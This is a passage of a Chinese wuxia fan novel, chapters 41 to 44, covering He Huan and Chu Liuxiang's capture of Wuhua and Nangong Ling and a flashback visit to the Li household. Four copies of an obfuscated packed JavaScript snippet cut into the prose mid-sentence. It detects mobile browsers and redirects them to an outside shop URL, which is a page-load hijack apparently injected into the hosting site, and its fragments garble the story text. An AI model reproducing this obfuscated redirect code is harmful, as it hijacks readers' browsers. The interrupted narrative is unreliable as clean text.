何欢看向楚留香时,不免失笑:“隔着面具,好像也能看出你如今很是惊讶。” 楚留香感叹:“还好带着面具,不然这呆若木鸡的样子被看见,多少有些影响形象。” “真的吗?我以为香帅已经见过大风大浪,一点小事不会让你惊讶。”何欢笑道。 楚留香笑着望向他,“看来你说得对,只要交友够广,什么事都会见到。下一次,我就不会这么大惊小怪了。” 说笑两句,便回归正事,“鸟儿听不懂人话中的含义,却可以记住发出的声音。神水宫豢养鸟雀,以此收集信息。接下来只要等它们告知被称为‘南宫灵’的男子最近长居何处就好。” 当然,这话三分真七分假,神水宫并不借此收集情报,借此获得情报的,唯有他一人而已。 何欢看着楚留香若有所思的样子,笑道:“如今知晓此时,只怕下次香帅也要效仿唐宫女子,‘鹦鹉前头不敢言’了。” 楚留香面上不露声色,道:“你愿意让我知道这件事,便是真的拿我做朋友,我又有什么不可以让朋友知道的呢?”,内心却想:“她化用这比喻,殊不知上半句也该一并说出来的。含情欲说宫中事……除了皇宫,难道不可以是神水宫么?” 这样想罢,他自己先是一惊,随即摇头苦笑:楚留香啊楚留香,不说人家根本不清楚你的心思,难道,你真的能一心一意的对她?能为了她成为一个合格的情人,而不是浪子?又或者,你以为依她的身份性格,可以抛下神水宫,常伴你左右么? 他心里清楚,一旦想到这些事,便是陷得比预想中更深。 可这样皎洁如月、温润如云一般的女子,天底下又有哪个男子不心动呢? 何欢:“……?” 等小雪的消息送来,两人前往南宫灵最近的居所。此处四周空旷,房内外还有几十种机关,看来,此处隐藏着不小的秘密。不过,这一切好似都难不过有着盗帅之名的楚留香。 刚刚藏匿好,做两位梁上君子,就等来南宫灵,此外,还有一个披着宽沿披风,将身形样貌遮挡的严严实实的同行人。 何欢与楚留香对视,两人都猜到,来人应当是无花。 下面两个人进屋后,先是默然不语,好似在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290308|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查探四周有无旁人监听。见他们这么谨慎,何欢微微蹙眉。楚留香却误解他的申请,以为他是紧张,悄悄拍了拍他的手臂,见他望过来,还轻轻摇头示意他没关系。 他们所藏位置是视线死角,即使向上看也不会发现有人在此。两人进来时也凭借高超的轻功,没有留下任何痕迹。 何欢心想:他真的很会照顾人,无怪有这么多朋友。随即回以一笑。 而那两人,终于在探查过一圈后回到屋中落座。 南宫灵为无花倒水:“哥,你一路奔波而来辛苦了,喝些水吧。” 这个称呼,莫非他二人是亲兄弟?乍一听闻这个称呼,两人不禁听的更仔细了些。 “倒也不算辛苦。”那人温言道,“那妖女并没有去少林寺。我担心她已经发现端倪。一来是看看你的情况,二来也是想问问你,当时的详细情况。” 南宫灵道:“其实丐帮弟子一开始并未发现她。是她和楚留香碰面,才让丐帮弟子留意到此人。我暗中观察,发现她和你画的画像极为相似,连忙传讯给你。” “楚留香……”无花的语气极为复杂,有无奈、也有警惕。 “是的,我看他的模样,对那妖女很是上心,还提醒了他……” “什么?”无花的声音突然提高。 南宫灵被他吓了一跳,“我说,我提醒了楚留香,让他离这个妖女远一点。哥,你怎么了?” 无花咬牙,深吸一口气后道:“你不该同他讲这件事的。” 南宫灵笑笑,“你是担心丢脸吗?要我说,那妖女模样也不赖,要不是你我身怀血海深仇,无心此等儿女私情,她倒是真可以做我嫂子。说出去也不丢人。” “并非如此。”无花现在简直头疼欲裂,他道:“楚留香与她曾经见过,依我看,楚留香对此女很有好感。你若跟他说了此事,无怪妖女没有入少林寺。” “什么?”南宫灵不解,“那就更不应该了啊,楚留香此人很是仗义,即使听到这消息,也不应该帮那女人而不帮我们啊。” 那是因为我在说谎,你个蠢货。无花简直想要骂出声来。 房梁上,两人也面面相觑。 这段对话的信息量过大了。不仅免去他们试图拉南宫灵回正轨的行动——他们二人可是身负血海深仇的亲兄弟,对他们而言,哪里还有正轨可言——而且还……唉,现在也不是探究这件事情的好时机。 底下无花在强忍怒气与南宫灵分析接下来应该做些什么,突然,他意识到:倘若这两人不在闽南,如今有没有可能正想从南宫灵身上一探究竟? “这栋宅院,除了你我二人,可还有人知晓?” 南宫灵听见兄长突然如此发问,先是一愣,随后就明白了他的顾虑。他摇摇头,满怀信心道:“哥,你放心,这里除了你与我,再无第三人知晓。” “但你别忘了,他可是盗帅楚留香。”无花冷笑一声。 “刚刚你已说出我们两人的关系。倘若真叫旁人知晓,我们的复仇便要毁于一旦。如今宁肯错杀,不能放过。你我一会,也该在房屋周围淋上松香油脂,将这里一把火烧个干净,确认没有外人再离开。” 41.第 41 章 此人如此果断,再藏下去好似也没有什么意义。 无花只听到木梁上传来清冷声音:“无花,神水宫待你不薄,却不想你竟残害宫中弟子,还要污蔑我的名声。” 自梁上跃下之人虽与何缨的长相完全不同,但无花知道,此人便是何缨。他此刻甚至还有心情轻笑一声,道一句:“神女,别来无恙。” 何欢道:“或许,你很希望看我们宫内人人有恙?你的诡计已被拆穿。无花,如今束手就擒,神水宫还能饶你一命。” 无花叹气:“贫僧好生冤枉。不过是看宫中女弟子苦于痴恋无果,难以入眠,所以将随身助眠药物赠予她,又何错之有?” “这样的场面话,放在今日之前,众人在侧,或许还有一辩之力,如今只有你我四人,还要再讲这些吗?”楚留香也随后现身。 无花定定望着他:“香帅,你也听到了,刚刚舍弟还在为你辩解,说你不会是背叛朋友之人。” 楚留香依旧含笑:“先背叛朋友的可不是我。我可一直都被两位好朋友蒙在鼓里。甚至刚刚差点就要被这两位朋友烧死。” 无花笑道:“这自然是说笑的,不过是为试探有没有人在偷听,殊不知竟然真的诈出你二人。” 楚留香不再回答,只站在何欢身侧,表明立场。 何欢看着仿佛还在状况之外的南宫灵,想起之前楚留香的“美言”,耐下性子问:“你知道你的这个哥哥,打着少林寺、七绝妙僧的旗号,欺辱了多少女子吗?他甚至将这些人的名讳全部记在一本账簿上,用以威胁她们提供物资钱财,供他自己使用。他的名琴,每一寸都倾注着这些女子的痛苦。” 无花的笑容自脸上消失,他的神色变得阴沉。 南宫灵听见他的话,却好似完全没有听懂一般,迟疑许久,才转头看向何欢:“你在说什么,我哥哥不是这样的人。我不信。” “南宫灵……”楚留香还想再说什么,只见南宫灵已经一个箭步贴身攻了上来。丐帮武功大开大合,刚强迅猛,楚留香慢他一步,被他缠住,也只能先行应对。又因为不愿直接对他下死手,竟纠缠起来。房中很快就被两人掌风扫的全是断木残瓦,几人转移至院中。 此刻,院中月至中天,与清白地砖相辉映,竟也亮堂。那边的两人正打得有来有回,这厢,何欢与无花却是两相对望,一时无言。 “神水宫中,从来不用蜡烛照明,”无花突然开口,“每一处石灯里,都镶着硕大夜明珠。” “何缨,你可知那些夜明珠价值万金,是怎么来的?” 何欢自然知晓,有一部分是王怜花朱七七等人送的、快活王的遗产;一部分是门下帮派的供奉、船行商行的孝敬,还有一部分……是他与水母阴姬两人深潜时找到的动物残骸化成;然而他自是不可能将这些托出,更想听听无花如今谈及此事,是有何高见。 “但凡帮派势力,没有几十年上百年的累计,便无法达到坐拥那么多财富。然而神水宫却不同。其在江湖上扬名,也不过是近十几二十年的事情。可若论及财气,只怕如今所谓什么四大富豪都比不上。其敛财的速度和手段可叫我等望尘莫及。你若想以此来审判。不如先去问问你的好母亲,过去都做过什么。” 他的语气变得煽动而魅惑,仿佛早就在等这一刻:“水母阴姬养育你哥哥时,就是如此。金银玉石、万般宠爱堆砌出来一个浪荡草包。不需要考虑江湖险恶,从不清楚什么是刀口舔血。只需要每日吟诗作画、调制熏香。仍有成堆的人为他鞍前马后,送上真心。而你呢?靠海吃海,被父亲抛下,在外奔波漂泊,一人闯荡江湖、无依无靠……” 何欢:“……” 何缨的身世究竟是怎么传成这副模样的。 最后,无花问:“你真的甘心吗?甚至到现在,那个不着家的哥哥还是神水宫的少宫主。而你这位武艺高强。为神水宫奔波的、宫主的女儿,也不过是一个名义上的神女。” 他在点评的好像是何欢,又不完全是何欢。其中夹杂了太多他的主观意愿,显得情绪格外激烈。 何欢深深凝望着这个人那双不甘的眼睛,轻声问他:“无花,你究竟是在问我,还是在宣泄自己的怨气呢?” “你说的究竟是我,还是儿时的自己?自小被母亲遗弃,由异族的父亲养育,过着食不果腹、衣不蔽体的日子。与父亲和弟弟相依为命,日日刻苦钻研武功只为在江湖上立足。结果却眼睁睁看着父亲主动送死,将自己抛弃在寺庙门口,与弟弟也难以再见。” “你知道了……呵,神水宫的情报组织,真是不容小觑。也是,如今你已经是神女,自然不需要再共情他人。” 何欢皱眉,“你没有想过,天禅大师根本没有强迫你参佛。若同他说,你要去找自己的母亲、一家团聚,难道他会不同意吗?” 无花一怔,他意识到,即便是神水宫,目前也尚未查清他的母亲究竟是谁。他看着面前的人,想:如果她知道我的母亲是那样一个女人,或许……不,事到如今,我在她眼中已是一个彻彻底底的坏人,早已没什么好辩解的了。 无花道:“你真以为一个七岁的幼童,在当时还会有更好的选择?他的确没有强迫我,但是,我不得不那么选。你太天真了何缨,你我终究还是不同。” “难道你没有继承家学?还是说你觉得不做和尚,天禅大师就会彻底不管你?”何欢反问他。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300785|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟是我‘天真’,还是你索求无度,从来不在意自己拥有的,只是一昧地在计较自己不曾得到的。” “你我境遇截然不同,如今不要再擅自揣度我。” 何欢冷笑,“难道不是你先开始的?……我算是看明白,事到如今,你还是一点悔过之心都没有。” “那又如何?” “那么,便没什么好说的。” 突然,远处传来“咚”的一声,无花转头望去,就看见南宫灵已经轰然倒地,楚留香站在旁边,面上竟是一片茫然。见到他二人目前已成剑拔弩张之意,打算过来协助何欢。 无花看在眼里,想要运功先解决掉何欢,可随着真气在身体中运行,竟然觉得大脑开始昏沉起来,随后,眼中天旋地转,一头栽倒在地上。 雪白的僧袍最终还是粘上泥土。可即便是泥泞,大概也比这人污浊的内心要干净。 …… 楚留香原本也快制服南宫灵,却不料这人越出招行动越慢,最后径直倒在地上。 他还以为是无花施计,想要提醒何缨,就看到无花随后也昏厥不醒。 而还伫立着的少女,正轻声道:“也叫你尝尝‘浪荡草包’的厉害。” 他三步并作两步行至何欢身侧,问:“是你下的药?什么时候,我竟完全没有注意到。” “盗帅也有看走眼的一天,又惊讶了?”何欢笑。 被他调侃的楚留香摸了摸鼻子,“果然,话还是不能说的太满。” 他难以想象,“无花的鼻子灵敏,还精通医药学,怎会这般轻易被药倒?” 讲给他听倒也无妨,不过…… “秘密。”何欢笑。 “好姑娘,说给我听吧,我保证不告诉旁的人。” “……”被睨了一眼。 软磨硬泡不成,楚留香换个问题又问,“那么,你就不怕我先不省人事,留你一个对付他们两人?” 何欢反问:“你不是鼻子不通气,闻不到味道吗?” 楚留香假作沮丧:“好啊,原来是这样,亏我还以为我早早已经佩戴好解药了呢。”他抚摸过自己贴身放置的药包。 虽说那药包里的确放有能解毒药草,然而如今还是不要说出来更好,免得误会更深。 想到之前无花说的那几句话,何欢叹一口气。 “香帅,”他道,“之前你误会我喜欢无花时我就想说了,这根本是无稽之谈。” 楚留香正好奇他怎么突然旧事重提,就听见对面传来对方毫无波澜的一句惊人之语。 他道:“因为我喜欢同性。” 何欢说出口时,心想:也没说谎,我的确是喜欢同性。 42.第 42 章 “因为我喜欢同性。” 楚留香的神色有一瞬间的凝滞。随即他如常般道:“如此想来,当时的我真是失礼。你知道的时候不会觉得我这人爱臆想吧。” 何欢看着他神色并无太大改变,甚至并不为这种异于常人的性向而震惊,就以为无花也不过是如楚留香当时一样看走了眼。他放下心来,笑道:“怎会,无花一路上刻意诱导,香帅不误会才怪。如今说清楚,我心中也好受些。” 楚留香心中的郁闷简直要溢出来,只是他仍要装作若无其事,向四下看去。正巧看到了依旧昏迷着的南宫灵和无花两人。 “何姑娘打算怎么处置无花?”楚留香问。 “神水宫已在调查无花的身世和亲生母亲。在此之前他应该会被软禁在神水宫。在此之后,杀了了事。”提起这个人,何欢神情冷淡起来。 “……”楚留香似有话想说。 “香帅有话直说即可,以你我的关系,不必讳言。” “有没有想过,将他送往官府,接受公正的审判呢?” 何欢:“……” “我上一个送往官府的贼人,因为与其勾结,将人无罪释放出来,又行凶案。”何欢认真道,“我并非认为官府全然无能,但有些时候,也不能完全信任他们。尤其此人作恶多端,官府能否控制得住还是一样问题。” 楚留香也只是提议,见他态度坚定,就不再多劝。 “倘若有一天,□□治下海河晏清,我也很愿意秉公处理,少些琐事繁忙。”何欢还是给楚留香面子的,“至于南宫灵,香帅怎么对待就是你们的事了。” “我认为,他应该也做不出什么坏事。” …… 与依依不舍的骏马一同送别何缨后,楚留香在街边漫无目的的闲逛。他现在脑子里很乱,不知该做些什么。 转了半天,回去南宫灵恶毒住宅。南宫灵被封住武功,点了穴位,目前正手脚无力的躺在卧室床上。见楚留香如同回自己家一样进来,还倒上两杯茶水,递一杯给他,怏怏接过,拿在手里也没喝,不知在想想什么。 楚留香同他如闲话家常一般聊天,“许久不见任帮主,不知他老人家如今可好?” 南宫灵淡淡道:“不好不坏吧,比我如今要好些。” “或许改日该和你一起去拜访一下,聊些往事。” “你和他有什么好聊。”南宫灵冷哼,“你想知道什么,去问他他也不会告诉你的。” “为何?”楚留香饶有兴趣,“我帮他抓住了一个混小子,他竟然连一点小事也不愿意告诉我么?” 南宫灵继续冷笑,不再吭声。 楚留香察觉到不对,他试探道,“除非……他现在已经说不了你的坏话。” 南宫灵眼中一瞬间的波动被楚留香察觉,他看着南宫灵,眼神中有着不可置信,顿足道:“南宫灵,我以为,你与你哥哥不同。” “我们是亲兄弟,骨子里流着一样的血,有什么不同。”南宫灵强硬道。 “……”楚留香回想起何缨临走前欲言又止的模样,还有她所说:“听闻丐帮前任任慈不过四十岁,仍当壮年,为什么会这样着急将丐帮传到自己的幼子手中,直接隐退,不问世事呢?” “我还以为,你不是这样的人。” “难道我需要你如今的信赖吗?你以为时到今日,我们还能是相互信任的朋友?!” 楚留香默然:“……” “你难道忘了,任帮主一向为人宽厚,是他不留余力的养育你……”楚留香失望的看着他,“你完全被仇恨蒙蔽双眼了。” 南宫灵垂下头。如今他又在想什么? 他的人生早已在之前发生翻天覆地的变化。霁月光风的哥哥、诉说着他已经忘却的儿时记忆,连带着浇筑仇恨的花蕾。午夜梦回,他的后悔无从谈起,变成日复一日的洗脑——洗脑自己没有错,一切都是为了复仇。可如今,那人的谎言被他人拆穿,一切刻意忽视的违和感又涌上心头。他怎能说自己完全不后悔? 于是,楚留香听见南宫灵的声音:“他和任夫人现在在后山的竹屋里,你有什么想知道的,去找他们吧。” 楚留香离开时,回头看他。 他仍躺在床头,却撇过头去刻意不看楚留香。只是饮下瓷杯中早已凉透的那口茶水。 真是好苦的茶。 …… “你要怎么处置他?”水母阴姬问何欢。 何欢默然:“……” 水母阴姬看他良久,叹了口气:“叫你用教内人立威,你将人赶去大夫那里帮忙;叫你处置红鞋子那两人,因为他们帮你说过好话又心软。怎么,难道你是泡桐树么?心这样软。” 何欢没忍住,笑了。 水母阴姬:“……出门一趟,胆子倒是大了不少。” 何欢讨饶:“母亲,我真做不来这些。” 他如今已经恢复男子装扮,可是讨饶的时候还是跟儿时一样,容易让水母阴姬心软。 他上次这样亲昵的同水母阴姬讲话,是什么时候?是三年前? 水母阴姬终究还是听之任之,“罢了,交给水牢那边处置吧。过来让我探察一下,你先前受我一掌,可有暗伤?” “没什么大碍,当时母亲三分内力也没有使出吧?” 虽如此说,何欢依然凑了上去,任由水母阴姬为他探查。少顷,她满意的松开手,“身体不错,武功练的也不错。” 这边温情流转,却说另一边。 却说押送无花去水牢的是一位个子高高的神水宫女弟子,名叫高月,曾经被戏治过“不敬神女”之罪,如今却已是新一任掌司。她牵着被捆得严实的无花,来到了水牢入口。 她的声音轻飘飘的:“大师,我们明明都很相信你的,为什么,你要害阿芜、要害神女呢?” “你知不知道神女因为你的那个熏香,受了多大的委屈?” “我还听说,你很喜欢欺辱女人……” 她轻轻一推,如今被封住穴道的无花酒跌身进了水牢中,冰冷刺骨的水磨过腰际,天花板上时不时还有阴冷水滴滴打在天灵盖上。 “大师,你可是修佛的和尚啊。不知道,你信不信命运。此刻你身上萦绕的冤念,会不会化成水牢中的水滴,让你遭受比寻常渣滓更加痛苦的刑法呢?” 神水宫用这水牢来惩罚那些曾造成宫中弟子过往伤痛的恶人。除却水牢中让人寸步难行的粘稠重水,只能站着休息的空间,还有不规律、无止境的水滴自高处滴落在天灵盖。寻常人不过三五天就会吃不消。不知这和尚又能撑多久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王怜花理直气壮辩驳:“你只是个小树苗,怎么能叫传人呢?我一没有欺负那死人的无辜家眷,二没有掀起血雨腥风,三不曾存有害人的心思,就算是沈浪来了,他也得说一句我的行事没什么问题。” 沈浪:“……” 朱七七在一边,居然点头同意了,“这花花肠子只是给他们李家一个教训而已,又不是什么恶事。顶多这五年不太安生,五年之内给他找一个传人不就得了?叫他们随便欺负你。” 看在王怜花即将随沈浪朱七七一同离开这里,去往海岛,再难掀起风浪的份上,沈浪默许了。 临走前,王怜花悄悄对何欢说:“要是他们家真对不起你、用那事威胁你,你就用怜花宝鉴威胁回去,知不知道!别傻乎乎的被人欺负了找不到地方哭。我走了……也难再替你出头。那女人自己闭门造车,肯定也想不出什么好法子帮你。” 何欢第一次听他那么絮叨,不知为何,心头一热,鼻中生涩,落下一滴眼泪。 生死别离,人间久别之悲,曾经宛如蒙着一层纱一般的痛苦,在这一瞬化为实质的情绪,酝酿成妖怪的眼泪。 在黑夜之中,这颗落下的眼泪,成为除他之外,无人知晓的秘密。 43.第 43 章 何欢十五岁那年,王怜花说要去解决一桩旧事,不能带他。 “为什么不能带我?”何欢不解。 “带你过去,你现在被教的像个小沈浪,只怕她会因为讨厌沈浪所以留你在阴森森的宫殿里天天扫院子。”王怜花夸大其词地吓他。 何欢思索片刻,了然:“哦,是你们的仇人。” “是他们的仇人,与我无关!”王怜花声音猛地提高,随后又低下来,很不愿承认似的,“是我姐姐,她性格比较……别扭,总之你先去沈浪那个什么朋友家待两天,等事情解决了我就去接你。” 他还叮嘱:“江湖里这些满嘴仁义道德的人,跟住在地底下的那个女人可不一样,十句话有八句是假的,你不要听他们说什么,只看他们做什么,倘若有事不合你心意,直接大闹他们家也无妨,知不知道!” 他来回走了两步,又说:“你跟着我两年,要学的都学会了,不会吃亏吧?” 何欢:“……” 他心想:不过是一群普通人,我能吃什么亏。 沈浪朋友家的招牌是漆木的。上书“李园”二字银钩铁画,颇有风骨。门前红梅盛开,散发幽幽香气。何欢驻足在门前,仰着头,外人看来呆呆地不知在想什么。 马车压过皑皑白雪,咯吱作响。马打响鼻,踩雪声不紧不慢靠近,有一温柔男声自身后响起:“小公子,你在看何物?” 何欢回头,毫无准备望进一双映着红梅与风雪的温柔秋瞳之中。 来人披着一件红色的大氅,大氅边沿雪白的兔毛衬得脸颊更添一份瘦削。这人看起来病骨支离,但那双眼睛却满溢着盎然的生机。 梅花香气在园内,也在这人身上。随着凛冬的空气,荡入何欢的鼻腔。 他说:“我在看这块牌子。” 好似梅花的人轻笑一声:“幼年稚笔,力道不足,字迹拙劣,原不值细看。” 何欢听他好像对这牌匾不满之处甚多,也就顺势道:“字迹的确尔尔,我在看这木料,是两百年的漆树,砍伐后就用来做块牌匾,真是可惜。” 那人闻言一愣,笑容更盛:“在下李斯影,不知小公子如何称呼。” “我叫何欢。” “小何公子,如此心性,的确很像沈大侠的忘年交。” 哦,原来他知道沈浪叔叔,也知道我和他的关系。 何欢眨眨眼,心想:啊,不妙,说坏话好像说到主人头上了。 …… 十二月的保定,寒风依旧凛冽,呼吸之间白雾逸散,鼻腔与嘴里都好像结了冰茬,让人懒得讲话。 所谓近乡情更怯,大约就是如今的何欢。他站在李园熟悉的牌匾下面,犹豫许久,也没敲响这门。他心里想着改日,却也知道明日复明日,今日做不成的事情,明日未必就能做成。终于,他扣响大门,却不料过了好些时间也没有人来应。他心想着,不应该啊,又敲一次门。 这次有人来开门,却是不熟悉的一张硬汉面容,看向他时神色似有不解,随后才一抱拳问,“不知这位小兄弟是?” 何欢也很迷茫,他先后退了一步看了一眼牌匾,是李园不错,随后想着,可能是新招的仆从躲懒吧,思忖片刻道,“不知小李探花李寻欢何在,我与他家有故交,此次为祭拜先人前来。” “原来是贤弟的朋友……他,唉,请先进来吧。” 何欢顺着他的邀请进来,总觉得哪里不太对。若说这人是来做客的,也太自来熟了些。可还有什么可能? 在此之前,他对于见到李寻欢等李家人还存着些尴尬意味,可如今却在心底暗暗希望李寻欢快些回来。 然而,何欢怎么也没想到李寻欢进门时会是这么个模样。 他醉醺醺的,身上是浓烈到让人怀疑是不是他进门前刚刚跌进姑娘家用的水粉里的呛人香气,衣襟些微敞着,露出两个红唇模样的胭脂印。 何欢瞠目结舌,他在犹豫时,就听见刚刚那位大汉喊了一声,“贤弟,你,唉,你有客人到了,怎么还这么不拘小节……” 这话颇为古怪——听起来李寻欢与这个人已经结拜,那应该交情极好才是。可这大汉话里话外仿佛刻意在贬低李寻欢。可要让他直白将这点点名…… 一来他自己身份尴尬,再者他并不清楚这人的品行……如若人家只是单纯的不拘小节,那就是他枉做小人。 总之…何欢再看向李寻欢时,就见到他醉醺醺的冲他露出一个笑容,其中有突见旧友的惊讶欣喜,可更多的,是一种隐藏极深,却无法欺骗朋友的沉重的、冗长的痛苦。 何欢只看到他这双眼眸,就觉得呼吸一滞,他快步走上前,李寻欢就伸出手臂,轻轻抱住何欢,虚搂着他,“……欢弟。”他一如既往地这样叫他,“好久不见,你过得好吗?你……你原谅我们了吗?” “我…很好。”何欢拍拍他的肩膀,安抚他不知是因为过往还是如今产生的愁绪,“我从未怪过你们,反而是我……好像给你们填了许多麻烦。” 一别多年,曾经以为相互埋怨的友人,突然发现双方完全没有忌恨,反而相互挂念。其中一人,过得好似还不尽如人意。这滋味宛如木桶中窖藏的葡萄美酒,醇香又酸涩。他本该与李寻欢促膝长谈,一解心结,消除苦闷,但如今好像太不是时候。至少该让李寻欢去洗个澡,醒醒酒。 “喝着这么多酒,不注意身体么?叫亲人见了,不知该怎么说你。”这亲人,何欢自己也不知道指的是林诗音,还是他自己。 又或者是,是那些无法看见的魂灵。 李寻欢闻言,神色却不变,好似根本没听出他在说什么,岔开话题道:“正好,我要将我的义兄介绍给你。”他露出一个醉醺醺的笑容,转过身子,只是仍旧轻揽着何欢的肩膀,好像怕他突然离开一般,又好像已经支撑不住自己的身体,需得靠着旁人支撑才能维持一个体面。 “现在不急,你先去休息一下吧。”何欢推了推李寻欢,李寻欢顺势放开他,摊开双手,“好吧,好吧,听你的。你可别趁我换衣服的功夫,再像以前一样不见了。” “不会,”何欢无奈,“我既回来了,就不会再不告而别。” 得了许诺,李寻欢安下心来,再摇摇晃晃的离开。 等到李寻欢走后,这位大汉向何欢一拱手:“原来是寻欢贤弟的朋友,在下龙啸云,之前没听寻欢提起过你,失礼了。” 何欢沉默了片刻,冲龙啸云微一点头,“既然已经见过寻欢,我便先离开,希望龙侠士代为转告,等他收休息好,我再来拜访。” 随后,他就打算离开。 “你只见了表哥,还没见我,就要走了吗?”突然,一阵香风拂来,这香气如同幽谷兰花,清雅出尘,随之而来的,是一位戴着面纱,却有着见之忘俗的气质的女子,她的一举一动、一颦一笑,都能牵动旁人的目光,而当她带着一丝丝埋怨冲你讲话时,你简直觉得不满足她的所有心愿就都是你的不是。 这人,便是李寻欢的表妹、何欢曾经的友伴,林诗音。 “诗音……你怎么出来了?”何欢看了一眼龙啸云,上前几步接话,顺便挡住了这人看向林诗音的目光。 林诗音一双翦水秋瞳看着他,反问,“若我不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329156|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,你是不是也要转头就走,就好像这里根本没有我这个人一般?” “怎么会,我本来也要拜访你的,不过如今有外人,不方便罢了。”何欢已经听出来她对如今的现状有所不满,仔细想想会让她不满的也只有一个原因——就是龙啸云。 所以,他话中自然就带了些林诗音碍于身份无法表达出来的排斥。 果然,林诗音眼中流露出清浅笑意。她好似没有看到龙啸云难看的脸色,对他道:“龙大侠,失礼了。我与他许久不见,一时失态。” 龙啸云咬了咬牙,自以为不着痕迹的瞪了一眼何欢,又柔声对林诗音道:“是我的不是,诗音小姐不要介意。” 他说完,再找不到留在林诗音和何欢身边的理由。好在林诗音与何欢也并非独处,他心有不甘的离开了。 “你变了好多,是这几年在外吃苦了么?”等龙啸云离开,林诗音问他。她虽然高兴何欢能帮她出一口气,却对于这样的何欢有些陌生。 在她印象里,何欢一向沉默且温柔。 何欢无奈:“你对我到底有什么误解?我在外面过得很好,见识过许多,也交好许多友人。才知道以往视野何其狭隘。如果不是你从小喜静,我倒要建议你也出门走走。” “怎么,那些江湖人很好么?”林诗音有些不满。 何欢笑道:“与我而言,是很好的。” “我对你难道就不好?”林诗音埋怨他,不过此刻没了外人,她声音里更多是亲昵。 “诗音,你这样让我怪害怕的。”何欢冲她连连摆手,“这话让寻欢听到,又要吃我的醋。” “……” 林诗音突然沉默不语。 何欢反应过来刚刚见到李寻欢的模样,明显与他离开之前不同了,小心翼翼问,“寻欢到底是……” 原来,李寻欢在关外遇见仇人,千钧一发之际被龙啸云搭救,两人相处愉快,因此结拜为兄弟,李寻欢邀请龙啸云来家中做客。不料龙啸云却对林诗音一见钟情。 “他故作一副不思进取的酗酒模样,甚至沉迷美色,都是要逼我做出决定,”林诗音恨恨,“他……他只顾着他的兄弟情义,我又该如何是好……” 何欢只得先安抚林诗音,“怎么会呢,我认识的寻欢不是这样的人,中间是否有什么误会?” “你也替他说话是不是?”林诗音咬唇看他。 何欢立刻摇头,“没有没有,你知道的,我一向站在你这边。” 林诗音见他头摇的像拨浪鼓,噗嗤笑了出来,“好了,我怎么会怪你,可我控制不住,现在你一替他说好话,我就恨不得打你。” “好,好,我不说了。你也不要先着急,让我来想想办法。” 林诗音定定望着他,神情中溢出惆怅:“倘若当初是你,又或者大哥还在……” 何欢明白她的意思。他看向院中梅树的神色温柔,“但不可能是我,而他也再回不来了。” “……小欢,”林诗音欲言又止,最后扯了扯他的衣袖,“抱歉,我不该这么说的。” 何欢摇摇头,笑容温和,“总会有那么一天,只是或早或晚罢了,我与他都清楚,只是……” 打着为另一个人好的名义,一人独断专行,难道真会有好结果么? 他沉默片刻,突然失笑,“你瞧,他们李家的人,是不是一个模子里刻出来的自以为是?” 林诗音看着他笑,却几乎要落下泪来,一时失态,握住了他的手,想要安慰他,却说不出话。“小欢……” 这一幕,却让终于逛回来了的龙啸云目眦尽裂。 44.第 44 章 当年,李斯影领着何欢进入李园,迎面就碰上两个年龄相仿的少年人,他们一个赛一个穿得多,像两个雪球一样滚了过来,何欢微微睁大眼睛看向他们。 也是这时,一件带着人类淡淡体温的大氅披在了他身上——是李斯影。 “大哥,你回来啦!”少年人声音稚嫩,带着兴高采烈。 “大哥,这是谁啊?他身上的衣服好眼熟。”少女的声音娇俏。 何欢看向李斯影,有样学样,“大哥,谢谢你,但我不冷。” 他身上衣服是云梦仙子遍寻能工巧匠所制,看似轻巧,实则能抵严寒,还会发热。王怜花说自己身形不合适,让裁缝改给他穿的。 李斯影被他这一声大哥逗笑出声,明明一开始是在笑,像是被冷空气呛到,到后来却变成不断地闷声咳嗽。 何欢对这爱逞强照顾人的大哥生出一股怜爱,他单手扯下大氅,手腕一抖,红色大氅在空中翻飞,为李斯影重新披上。两人面对面站着,李斯影看到何欢伸出手,认认真真给他的大氅打上死结。 哭笑不得时,这孩子直接握住了他的双手,抬起头看着他。 那双漂亮的棕色眼睛如此专注地望着他。而少年人的手热得像是一个火炉,这热意从双手接触的地方开始蒸腾,经过手臂,来到脸庞,烧得火热滚烫。 他的声音好像花、像羽毛,又像是破冰时的溪流叮淙奏响。他说:“你摸,我真的不冷哦。” 为了让他快快松开手,李斯影回答:“好的,我知道了。” 